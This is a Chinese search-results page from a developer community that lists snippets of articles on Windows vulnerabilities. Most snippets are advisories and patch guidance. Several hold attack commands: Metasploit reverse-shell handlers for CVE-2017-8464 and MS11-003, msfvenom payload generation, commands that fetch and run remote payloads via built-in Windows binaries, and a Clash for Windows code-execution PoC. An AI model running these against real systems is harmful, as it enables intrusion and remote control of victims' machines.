学习
实践
活动
工具
TVP
写文章

windows蓝屏漏洞

IT同路人 公众号ID:ittongluren windows蓝屏漏洞 windows蓝屏漏洞大部分系统受影响 ? 镜像 这个漏洞是 ntfs分区下,图片解析的时候 会导致系统崩溃 受影响系统: Windows 7 企业版 7601 x64 ✅ Windows 7 Professional 7601 x64 ✅ Windows 10 Professional 15063 x64 ✅ Windows 10 Professional 16299 x64 ✅ Windows 10 Professional 1709 x64 ✅ Windows 10 Insider Preview 企业评价 16215 x64 ✅ 微软 Windows 10 Pro 1607 x64 ✅ 微软 Windows 10 Pro 1803 Build 20180405-0.4.8-release-0-gd47d448.GNU_4.7.2 x86 ❌ ❔ 漏洞测试链接: https://share.weiyun.com/58NwfC4

44930

Windows系统组件漏洞

具体方式: 控制面板--添加或删除程序--添加/删除组件 1.CVE-2017-8464 原理 Windows系统使用二进制解析 .LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在 ://192.168.0.102/search.ps1');test.ps1" #创建快捷件远程加载 远程监听 use exploit/multi/handler set payload windows reverse_tcp show options set LHOST 192.168.0.102 set lport 5555 exploit 2.MS11_003 溢出漏洞 原理 溢出漏洞是由于程序中的某个或某些输入函数(使用者输入参数)对所接收数据的边界验证不严密而造成。 复现 search ms11_003 use exploit/windows/browser/ms11_003_ie_css_import set payload windows/meterpreter

46742
  • 广告
    关闭

    云安全产品11.11特惠

    无需部署、智能易用的云安全SaaS产品双11特惠来袭,新老同享,一年一度!挖矿木马,加密勒索,高危漏洞等多种安全问题一网打尽,包月产品三个月8折,六个月7折;普惠产品低至每天0.3元

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    windows lnk漏洞复现过程

    前言 最近Windows出了一个lnk的漏洞,本着不复现不罢休的原则,自己搭建环境复现了一波,虽然没有这么顺利,但最后还是复现成功,哈哈哈哈,大牛就勿喷了,技术能力有限。 metasploit做以下相关配置: msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter

    65360

    Windows 0day 漏洞警告

    漏洞简介 周一,微软发布了一个新的安全公告,提醒数十亿Windows用户——两个新的未修复的0day漏洞将被黑客利用,进行远程控制目标计算机 目前,这两个漏洞已经被黑客利用,对所有尚处于支持状态的Windows 设备发起了攻击,而且,目前还没有针对该漏洞的安全补丁,微软承认该漏洞数据“严重”级别,该漏洞存在于Windows处理和渲染字体中 漏洞详情 两个漏洞位于WindowsAdobe Type ManagerLibrary 漏洞主要源于Adobe Type Manager Library不当地处理了特制的多主体字体(Adobe Type1 PostScript格式),从而允许远程攻击者诱使用户打开特制文档或在Windows 此外,据Microsoft提供的信息,在运行受支持的Windows 10版本设备上,成功利用这两个0day漏洞只导致在权限有限且功能有限的AppContainer沙箱上下文中执行代码。 7版本 漏洞修复 微软目前正在研究开发补丁,预计4月14日发布,补丁发布之前,可通过以下方式缓解: 在Windows中禁用预览窗格和详细信息窗格(禁用后,Windows资源管理器将不会自动显示OpenType

    44220

    漏洞预警 | Windows远程桌面服务远程命令执行漏洞

    与之前修复的“BlueKeep”漏洞(CVE-2019-0708)一样。这也就意味着,攻击者可以利用该漏洞制作类似于2017年席卷全球的WannaCry类的蠕虫病毒,进行大规模传播和破坏。 ? 二、漏洞简介 远程桌面服务(以前称为终端服务)中存在远程执行代码漏洞,当未经身份验证的攻击者使用RDP连接到目标系统并发送特制请求时,成功利用此漏洞的攻击者可以在目标系统上执行任意代码,然后攻击者可以安装程序 三、漏洞危害 成功利用此漏洞的攻击者可以在目标系统上执行任意代码,然后攻击者可以安装程序、查看、更改或删除数据; 或创建具有完全用户权限的新帐户。 四、影响范围 产品 Windows 操作系统 版本 Windows 7 SP1 Windows Server 2008 R2 SP1 Windows Server 2012 Windows 8.1 Windows Server 2012 R2 所有受支持的Windows 10版本,包括服务器版本组件 远程桌面服务 五、修复方案 官方补丁 通过Windows 操作系统中的自动更新功能进行更新 临时解决建议 1、禁用远程桌面服务

    64730

    工具|Windows提权漏洞库+EXPPOC

    按照老规矩,话不多说,直接上图打开后这样:然后在cmd输入systeminfo命令获取到:输入软件里边然后点击文本处理:点击判断:hash值:文件名称: D:\编程\提权漏洞搜索.exe文件大小: C7D7EA81AACA8B 按照老规矩,话不多说,直接上图打开后这样: 然后在cmd输入systeminfo命令获取到: 输入软件里边然后点击文本处理: 点击判断: hash值: 文件名称: D:\编程\提权漏洞搜索 提权漏洞文件来源于: https://Github.com/SecWiki/windows-kernel-Exploits ---- 云闲|剑青 侠骨|初心

    29850

    windows命令执行漏洞不会玩? 看我!

    经常有小伙伴碰到了命令执行漏洞不会玩,比如mssql注入点的命令执行,怎么来获取一个meterpreter? gt; </HTML> [/sourcecode] 5、pubprn.vbs eg: [sourcecode language="plain"]cscript /b C:\Windows ://site.com/payloads/calc.png[/sourcecode] calc.png [sourcecode language="plain"]msfvenom -f msi -p windows \Microsoft.NET\Framework\v2.0.50727\> caspol -s off C:\Windows\Microsoft.NET\Framework\v2.0.50727 \> IEExec http://site.com/files/test64.exe [/sourcecode] 12、IEXPLORE.EXE 这个需要IE存在可执行命令的漏洞 eg:

    66540

    Windows Print Spooler权限提升漏洞( PrintNightmare)

    Windows Print Spooler权限提升漏洞(PrintNightmare) 目录 一:漏洞概述 二:影响范围 三:漏洞利用 漏洞过程 创建匿名SMB共享 ,其中包括一个Windows Print Spooler权限提升漏洞(CVE-2021-1675),该漏洞被标记为提权漏洞。 普通用户可以利用此漏洞以管理员身份在运行打印后台处理程序服务的系统上执行代码。然而在6月21日,微软又将该漏洞升级为远程代码执行漏洞。 但是令人没想到的是,该漏洞利用exp针对的漏洞是一个与CVE-2021-1675类似但不完全相同的漏洞,并且微软针对该漏洞并没有推送更新补丁,所以也就意味着这是一个0day漏洞,这个0day漏洞被称为PrintNightmare x64-based Systems - Windows 10 Version 1809 for 32-bit Systems 叁 漏洞利用 漏洞过程 1:首先我们搭建一个SMB匿名共享,放我们的恶意dll

    26110

    Clash_for_Windows远程代码执行漏洞

    1. clash介绍 A Windows/macOS/Linux GUI based on Clash and Electron. 2. 漏洞复现 原漏洞发现作者pr链接: https://github.com/Fndroid/clash_for_windows_pkg/issues/2710 里面包含了poc和复现方法。 2.1 本地复现: 从以下链接下载Windows版本: https://github.com/Fndroid/clash_for_windows_pkg/releases 在windows10虚拟机中打开 ="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> 导入该poc: 在当前界面点击:Proxies 此时弹出计算器,漏洞利用成功

    45530

    Windows内核溢出漏洞提权利用

    0x01 前言 这篇文章我将分享下我在实战中利用Windows内核溢出漏洞提权时的基本步骤和注意事项,当然这也只是根据我个人习惯来写的,毕竟每个人的习惯都不一样,所以仅供参考,如有不对之处还请批评指正! Windows-Exploit-Suggester是根据Microsoft安全公告数据进行对比,而WES-NG则是根据Microsoft安全公告、MSRC API以及NVD漏洞等多个数据进行对比,详情可去对应项目中查看 run post/windows/gather/enum_patches run post/multi/recon/local_exploit_suggester 0x04 获取POC/EXP 得知某个漏洞 或者也可以参考下我之前整理分享的一个Windows提权相关漏洞的测试表格,包含了我所有测试过的提权EXP和MSF下的提权、BypassUAC模块。 (4) 提权时不能完全依赖于Windows Exploit Suggester这类辅助工具,因为基本都是与安全补丁的KB编号进行比对,而微软的每一个安全漏洞受影响的产品和版本都不一样,所以他们会根据不同的产品

    10350

    漏洞预警】Windows NTLM篡改漏洞(CVE-2019-1040)预警通告

    预警编号:NS-2019-0019 2019-06-12 TAG: 微软、Windows、CVE-2019-1040 危害等级: 高,此漏洞可绕过NTLM MIC安全机制。 版本: 1.0 1 漏洞概述 北京时间6月12日,微软官方发布了Windows NTLM篡改漏洞(CVE-2019-1040)的修复补丁,该漏洞存在于Windows操作系统中,攻击者利用此漏洞可绕过NTLM 为了确保 NTLM 协商阶段不会被攻击者篡改, Windows在NTLM身份验证消息中添加了一个附加字段,即MIC,但是利用此漏洞可导致该字段无效,从而绕过MIC防护机制。 1903 (Server Core installation) 3漏洞排查 在影响范围内,且未安装最新补丁的系统均受此漏洞影响。 4漏洞防护 4.1 官方补丁 微软官方已经发布更新补丁,请用户及时进行补丁更新。获得并安装补丁的方式有三种:内网WSUS服务、微软官网Microsoft Update服务、离线安装补丁。

    61530

    漏洞通告】Windows TCPIP 远程代码执行漏洞(CVE-2021-24074)

    通告编号:NS-2021-0007 2021-02-10 TAG: Windows、TCP/IP、CVE-2021-24074 漏洞危害: 攻击者利用此漏洞,可实现远程代码执行。 版本: 1.0 1 漏洞概述 2月10日,绿盟科技监测到微软在2月的补丁更新中修复了Windows TCP/IP远程代码执行漏洞(CVE-2021-24074),该漏洞位于IPv4源路由中,Windows Windows Server 2012 R2 Windows Server 2012 (Server Core installation) Windows Server 2012 Windows Server Windows 10 Version 1803 for x64-based Systems Windows 10 Version 1803 for 32-bit Systems 3漏洞防护 3.1 官方升级 目前微软官方已针对受支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接: https://msrc.microsoft.com/update-guide

    57220

    利用SMB漏洞DoS攻击任何Windows系统

    近日微软报出SMB V1存在漏洞,安全研究员并将此漏洞称作 “ SMBLoris ”,解释其能够发动拒绝服务(Dos)攻击,可以感染 Windows 2000 及以上操作系统的任一版本 SMB V1 通过利用该漏洞进行Python编程伪造数据包,可以进行远程拒绝服务攻击。 只需要用一台普通计算机(或者虚拟机),就可以通过大量消耗服务器的内存,让服务器崩溃。 此漏洞已经通告微软,但微软表示此漏洞将在Windows 10解决,解决方法就是放弃SMB V1协议。 (笔者猜测这也是微软一个手段,可以强迫用户升级到Windows 10,否则那些Windows 7铁杆用户何日走入10呀!) 同时工控操作系统不能开启windows防火墙,所以建议在外界采用工业防火墙来做边界安全,由于此DoS攻击会产生大量连接,工业防火墙可以设置连接个数来抵御DoS攻击。

    30230

    Windows证书对话框权限提升漏洞

    默认情况下,Windows在称为“安全桌面”的单独桌面上显示所有UAC提示。 原来是一个Windows证书 这是一个可以利用的思路方法,因为我们知道,Windows证书对话框允许您将显示的证书导出到文件中。

    35450

    方程式组织泄露windows框架漏洞工具Esteemaudit RDP 漏洞

    请输入密码: $ tar xvf windows.tar.xz 本次泄露的众多 Exploit都存放在 windows文件夹下。 将 windows文件夹拷贝到windows电脑下。 在 windows下操作步骤如下: 1. 关闭 windows防火墙 2. 到这里我们已经检测到目标服务器存在漏洞 ? 这里检测到目标存在漏洞,接下来我们使用 Pcdlllauncher 来进行漏洞利用 ? 这里我们需要用msfvenom 生成一个漏洞利用的DLL: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 4.漏洞防护措施 到目前为止官方没有发布任何该漏洞的补丁,为保证系统安全,建议关闭智能卡登录。

    93390

    漏洞预警】Windows任意文件读取0day漏洞处置手册

    预警编号:NS-2018-0041 2018-12-21 TAG: Windows、0day、任意文件读取 危害等级: 高,此漏洞可导致攻击者读取任意系统文件,PoC已公开。 版本: 1.0 1 漏洞概述 近日,国外安全研究员 SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC。 这是2018年8月开始该研究员公布的第三个windows 0 day漏洞。此次披露的漏洞可造成任意文件读取。 该漏洞可允许低权限用户或恶意程序读取目标Windows主机上任意文件的内容,但不可对文件进行写入操作。在微软官方补丁发布之前,所有windows用户都将受此漏洞影响。 参考链接: https://thehackernews.com/2018/12/windows-zero-day-exploit.html SEE MORE → 2影响范围 所有Windows系统。

    31010

    Google发现Windows 8.1 0day漏洞并公布漏洞验证程序(PoC)

    Google安全研究人员发现了一枚Windows 8.1权限提升漏洞,攻击者可以借此漏洞修改系统内容甚至完全控制受害者计算机。目前Google已经公布了漏洞验证程序(PoC)。 PoC已经公布,Windows 8.1受影响 Google安全研究人员James Forshaw已经提供了漏洞验证程序(PoC)并称这个漏洞他只在Windows 8.1下此时通过,并不清楚Windows 7等其他低版本Windows是否受到影响。 漏洞简述 这个漏洞源于Windows 8.1一个用于确认当前用户是否为系统管理员(administrator)的系统内部函数(非公共API)——AhcVerifyAdminContext。 PoC测试方法 这个漏洞验证程序(PoC)包括两个程序文件和一系列操作指南,只要PoC成功执行将会以管理员权限运行Windows计算器。

    31270

    腾讯云主机安全用户Windows漏洞修复指引

    Windows 补丁下载页面,在一段时间后可能会出现下线的情况,不再提供特定漏洞的补丁下载,给手动打补丁的用户造成不便。 二、Windows漏洞补丁更新建议 2.1、采用系统内置的更新机制(推荐) 适用于普通用户,无需额外的操作,直接通过系统内置的Windows 更新,即可全量更新Windows补丁,此方法无需关心 Windows 对于补丁下线的情况,我们可以选择安装 Windows 最新的月度安全更新中的补丁,安全更新中通常会包含单一漏洞补丁和累计安全更新补丁。 2.3.1、通常 腾讯安全官网 会发布 Windows 月度更新通告,可关注通告内容获取漏洞的CVE编号等信息,以下为截取的部分CVE漏洞说明 image.png 当我们点击CVE编号位置时,即为跳转到微软的漏洞详情页面 image.png 根据截图中的说明,我们即可筛选出最新的漏洞补丁信息,通过筛选出的信息,下载累计更新补丁安装即可。 三、修复建议 建议普通用户优先使用系统自带的Windows更新机制安装补丁。

    75040

    Windows SMB Ghost(CVE-2020-0796)漏洞分析

    日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,Microsoft Guidance for Disabling SMBv3 Compression),公告表示在Windows 启明星辰ADLab安全研究人员在对该漏洞进行研究的过程中发现目前流传的一些漏洞分析存在某些问题,因此对该漏洞进行了深入的分析,并在Windows 10系统上进行了复现。 ? 漏洞复现 ? 采用Windows 10 1903版本进行复现。在漏洞利用后,验证程序提权结束后创建了一个system权限的cmd shell,如图1所示。 ? 图1 CVE-2020-0796本地提权 ? 漏洞基本原理 ? CVE-2020-0796漏洞存在于受影响版本的Windows驱动srv2.sys中。Windows SMB v3.1.1 版本增加了对压缩数据的支持。 CVE-2020-0796是内存破坏漏洞,精心利用可导致远程代码执行,同时网络上已经出现该漏洞的本地提权利用代码。在此,建议受影响版本Windows用户及时根据微软官方漏洞防护公告对该漏洞进行防护。

    75500

    OLE 0Day漏洞病毒通杀主流Windows

    Windows被曝存在一个编号为CNNVD-201410-268的OLE 0Day漏洞,该漏洞影响所有主流Windows操作系统(不包括XP系统)。 此外,俄罗斯一个名为“沙虫”的黑客组织已利用该漏洞制作出病毒,并向他国政府和科研机构发动攻击。 专家介绍,该漏洞存在于微软OLE相关组件packager.dll当中,黑客可通过Office文档嵌入病毒程序。 此外,本次的OLE 0Day漏洞影响极广,不但波及Windows Vista SP2至Windows 8.1的所有操作系统,作为服务器系统的Windows Server2008和2012也不能幸免。 据了解,微软已于10月15日提供了修补该漏洞的修复补丁。

    52750

    扫码关注腾讯云开发者

    领取腾讯云代金券